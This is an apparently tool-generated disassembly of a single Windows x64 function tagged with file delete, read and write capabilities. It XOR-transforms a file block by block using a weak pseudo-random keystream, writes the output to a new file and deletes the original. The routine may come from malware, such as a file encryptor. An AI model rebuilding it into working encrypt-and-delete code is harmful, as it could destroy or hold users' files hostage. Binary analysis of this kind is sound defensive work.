Function at 0x180034f98
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x2130
call fcn.18006dc60
sub rsp, rax
mov qword [rsp + 0xc0], 0xfffffffffffffffe
mov qword [rsp + 0x2188], rbx
mov rax, qword [0x1800a1628]
xor rax, rsp
mov qword [rsp + 0x2120], rax
mov r14, rdx
mov r13, rcx
mov rdx, r8
lea rcx, [rsp + 0x90]
call fcn.180037904
nop
mov rdx, qword [rsp + 0xb0]
sub rdx, qword [rsp + 0xa8]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rdx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
xor ebx, ebx
cmp edx, ebx
jg 0x180035033
lea rcx, [rsp + 0x90]
call fcn.180037888
xor eax, eax
jmp 0x18003563f
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x54], 5
mov dword [rsp + 0x58], 3
mov dword [rsp + 0x5c], 7
or r15, 0xffffffffffffffff
mov rdi, r15
mov qword [rsp + 0x48], r15
mov ebp, ebx
lea r12, [rsp + 0x50]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, dword [r12]
mov edx, 0x80000000
mov rcx, r13
call qword [0x1800a7890]
mov rsi, rax
cmp rdi, r15
je 0x1800350a6
cmp rdi, rbx
je 0x1800350a6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, rsi
mov qword [rsp + 0x48], rsi
cmp rsi, rbx
je 0x1800350b8
cmp rsi, r15
jne 0x1800350c3
inc ebp
add r12, 4
cmp ebp, 4
jb 0x180035066
cmp rsi, rbx
je 0x18003561c
cmp rsi, r15
je 0x18003561c
mov byte [rsp + 0x120], bl
xor edx, edx
mov r8d, 0xfff
lea rcx, [rsp + 0x121]
call fcn.180059db0
xor r8d, r8d
mov rdx, rsi
lea rcx, [rsp + 0x120]
call fcn.1800341d4
cmp eax, ebx
jne 0x180035126
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x90]
call fcn.180037888
xor eax, eax
jmp 0x18003563f
cmp dword [rsp + 0x128], 2
je 0x18003514e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x90]
call fcn.180037888
xor eax, eax
jmp 0x18003563f
mov edi, ebx
cmp dword [rsp + 0x2c0], ebx
jbe 0x180035601
mov ebp, ebx
mov r13d, sendto
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xe0], rbx
mov byte [rsp + 0xd0], bl
mov eax, ebp
lea rdx, [rsp + rax + 0x2c4]
mov r8d, 0xa
lea rcx, [rsp + 0xc8]
call fcn.180007360
nop
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x78], rbx
mov byte [rsp + 0x68], bl
mov r9, r15
xor r8d, r8d
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x60]
call fcn.180007250
mov byte [rsp + 0x88], bl
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x90]
call fcn.180037a98
mov r12b, al
cmp qword [rsp + 0x80], 0x10
jb 0x1800351f4
mov rcx, qword [rsp + 0x68]
call fcn.180058b34
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x78], rbx
mov byte [rsp + 0x68], bl
cmp qword [rsp + 0xe8], 0x10
jb 0x18003521d
mov rcx, qword [rsp + 0xd0]
call fcn.180058b34
cmp r12b, bl
jne 0x180035239
inc edi
add ebp, 0xa
cmp edi, dword [rsp + 0x2c0]
jb 0x180035165
jmp 0x180035601
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xe0], rbx
mov byte [rsp + 0xd0], bl
xor eax, eax
mov rcx, r15
lea rdi, [rsp + 0x544]
repne scasb al, byte [rdi]
not rcx
lea r12d, [rax + 1]
sub rcx, r12
mov r8, rcx
lea rdx, [rsp + 0x544]
lea rcx, [rsp + 0xc8]
call fcn.180007360
nop
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0xf0]
call fcn.1800341a0
nop
lea ebp, [r12 + 0xf]
cmp qword [rsp + 0xe8], rbp
jb 0x1800352b4
mov rcx, qword [rsp + 0xd0]
call fcn.180058b34
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xe0], rbx
mov byte [rsp + 0xd0], bl
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000080
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, r12d
mov edx, 0x40000000
mov rcx, r14
call qword [0x1800a7890]
mov rdi, rax
mov qword [rsp + 0x50], rax
cmp rax, rbx
je 0x1800355a4
cmp rax, r15
je 0x1800355a4
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], rbp
cmovae rdx, qword [rsp + 0xf8]
mov qword [rsp + 0xd8], rbx
mov dword [rsp + 0x20], ebp
lea r9, [0x180084450]
mov r8d, dword [rsp + 0x108]
lea rcx, [rsp + 0x60]
call fcn.18003a04c
cmp qword [rax + 0x20], rbp
jb 0x18003536c
mov rax, qword [rax + 8]
jmp 0x180035370
add rax, 8
movdqu xmm0, xmmword [rax]
movdqu xmmword [rsp + 0xc8], xmm0
cmp qword [rsp + 0x80], rbp
jb 0x180035391
mov rcx, qword [rsp + 0x68]
call fcn.180058b34
mov byte [rsp + 0x1120], bl
xor edx, edx
mov r8d, 0xfff
lea rcx, [rsp + 0x1121]
call fcn.180059db0
mov dword [rsp + 0x40], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x1120]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x180035526
mov r15d, 0x269ec3
mov r8d, dword [rsp + 0x40]
cmp r8d, ebx
jbe 0x180035526
test r13b, r8b
je 0x180035400
add r8d, r12d
test r13b, r8b
jne 0x1800353f3
mov dword [rsp + 0x40], r8d
mov eax, r8d
shr eax, 4
cmp eax, ebx
jbe 0x180035476
lea rcx, [rsp + 0x1120]
mov r9d, eax
lea rdx, [rsp + 0xc8]
mov r10d, 4
mov eax, dword [rdx]
imul eax, eax, 0x343fd
add eax, r15d
shr eax, 0x10
mov word [rdx], ax
mov eax, dword [rdx]
imul eax, eax, 0x343fd
add eax, r15d
shr eax, 0x10
mov word [rdx + 2], ax
add rdx, 4
sub r10, r12
jne 0x180035423
add qword [rsp + 0xd8], r12
mov rax, qword [rsp + 0xc8]
xor qword [rcx], rax
mov rax, qword [rsp + 0xd0]
xor qword [rcx + 8], rax
add rcx, rbp
sub r9, r12
jne 0x180035415
mov dword [rsp + 0x48], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x48]
lea rdx, [rsp + 0x1120]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, ebx
je 0x1800354d9
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x1120]
call fcn.180059db0
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x1120]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
jne 0x1800353e0
jmp 0x180035526
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
cmp qword [rsp + 0x110], rbp
jb 0x180035503
mov rcx, qword [rsp + 0xf8]
call fcn.180058b34
mov qword [rsp + 0x110], r13
mov qword [rsp + 0x108], rbx
mov byte [rsp + 0xf8], bl
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x180035590
xor r9d, r9d
lea r8, [rsp + 0x5cc]
mov edx, dword [rsp + 0x5c8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
nop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rsp + 0x110], rbp
jb 0x18003556c
mov rcx, qword [rsp + 0xf8]
call fcn.180058b34
mov qword [rsp + 0x110], r13
mov qword [rsp + 0x108], rbx
mov byte [rsp + 0xf8], bl
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ebx, r12d
lea rcx, [rsp + 0x90]
call fcn.180037888
mov eax, ebx
jmp 0x18003563f
cmp rax, r15
je 0x1800355b8
cmp rax, rbx
je 0x1800355b8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rsp + 0x110], rbp
jb 0x1800355cf
mov rcx, qword [rsp + 0xf8]
call fcn.180058b34
mov qword [rsp + 0x110], r13
mov qword [rsp + 0x108], rbx
mov byte [rsp + 0xf8], bl
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x90]
call fcn.180037888
xor eax, eax
jmp 0x18003563f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x90]
call fcn.180037888
xor eax, eax
jmp 0x18003563f
cmp rsi, r15
je 0x180035630
cmp rsi, rbx
je 0x180035630
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x90]
call fcn.180037888
xor eax, eax
mov rcx, qword [rsp + 0x2120]
xor rcx, rsp
call fcn.180059760
mov rbx, qword [rsp + 0x2188]
add rsp, 0x2130
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret